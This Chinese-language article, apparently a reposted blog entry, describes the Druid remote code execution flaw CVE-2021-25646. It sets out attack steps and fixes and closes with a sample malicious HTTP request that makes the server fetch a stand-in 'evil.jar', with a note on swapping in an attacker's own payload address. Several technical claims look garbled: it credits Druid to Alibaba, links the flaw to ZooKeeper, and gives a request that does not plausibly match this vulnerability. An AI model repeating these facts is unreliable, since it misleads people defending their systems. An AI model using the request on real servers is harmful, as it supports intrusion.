Druid是一個實時數據處理和分析平台,由阿里巴巴集團開發。作為一款分布式的數據存儲和處理解決方案,Druid採用了列式存儲,支持實時流數據處理和批量數據處理。Druid廣泛應用於業務監控、日誌分析、電商、遊戲、社交網絡等領域。然而,Druid也存在着一些漏洞,下面我們就來了解其中的一個重要漏洞——Druid遠程代碼執行漏洞。
一、Druid遠程代碼執行漏洞概述
Druid遠程代碼執行漏洞(CVE-2021-25646)是一種基於Druid的Apache ZooKeeper漏洞,攻擊者可以通過構造惡意請求,利用該漏洞在Druid應用程序中執行任意代碼,甚至可能導致攻擊者完全控制受影響的服務器。該漏洞在2021年初被曝出,目前已有多個國內外漏洞監測機構發布了相應的預警報告。
二、漏洞利用方法
攻擊者可以通過以下步驟利用該漏洞:
1. 掃描目標:攻擊者首先需要掃描目標服務器是否存在Druid服務,並確認Druid版本是否受漏洞影響。
2. 構造惡意請求:攻擊者可以通過提供惡意數據構造一個精心設計的請求,將其發送給受影響的服務器。攻擊者可以在請求參數中注入惡意代碼,從而實現命令執行或遠程控制操作。
3. 發送攻擊請求:攻擊者將構造好的惡意請求發送給服務器,從而觸發漏洞執行惡意代碼。此時,攻擊者可以通過簡單的命令來獲取目標服務器的敏感信息或達到遠程控制目的。
三、漏洞修復方式
針對Druid遠程代碼執行漏洞,官方已經發布了相應的安全補丁。針對該漏洞,有以下三種修復方式:
1.升級Druid版本:建議用戶及時下載安裝最新版本的Druid,並關閉不必要的端口,使用防火牆進行限制,阻止未授權的訪問。同時,可以通過配置文件,限制Druid監控台的訪問權限,防止攻擊者利用該漏洞直接訪問控制台,構造惡意請求執行遠程代碼。
2.關閉ZooKeeper:攻擊者利用該漏洞主要是通過利用Druid與ZooKeeper的通信漏洞進行攻擊,因此可以通過關閉ZooKeeper服務來有效避免漏洞攻擊。
3.限制權限:對Druid服務所在的服務器進行權限限制,限制Druid允許操作的文件、端口等權限,防止攻擊者濫用漏洞進行攻擊。
四、代碼示例
以下是利用Druid遠程代碼執行漏洞的示例代碼,僅作為參考:
“`
POST /druid/indexer/v1/sampler?for=thetascan HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/json
Content-Length: 146
{
“type” : “index”,
“spec” : {
“ioConfig” : {
“type” : “index”,
“firehose” : {
“type” : “http”,
“uris” : [ “localhost:80/evil.jar” ],
“httpConfig” : {
“trustStorePath” : “/password”
}
}
},
“dataSchema” : {
“dataSource” : “sample”,
“granularitySpec” : {
“type”: “uniform”,
“segmentGranularity” : “day”,
“queryGranularity” : “none”
},
“parser” : {
“type” : “string”,
“parseSpec” : {
“format” : “json”,
“timestampSpec” : {
“column” : “timestamp”,
“format” : “auto”
},
“dimensionsSpec” : {
“dimensions”: [“timestamp”, “sample_key”]
}
}
}
},
“tuningConfig” : {
“type”: “index”,
“targetPartitionSize”: 5000000,
“maxRowsInMemory”: 100000,
“reportParseExceptions”: true,
“maxNumFiles”: 10
}
}
}
“`
以上請求中,攻擊者將參數中的“localhost:80/evil.jar”改為攻擊者自己的惡意代碼地址,然後發送請求即可實現遠程代碼執行操作。此時,攻擊者可通過簡單的命令獲取服務器端口、用戶密碼等敏感信息。
原創文章,作者:CJVL,如若轉載,請註明出處:https://www.506064.com/zh-hant/n/145215.html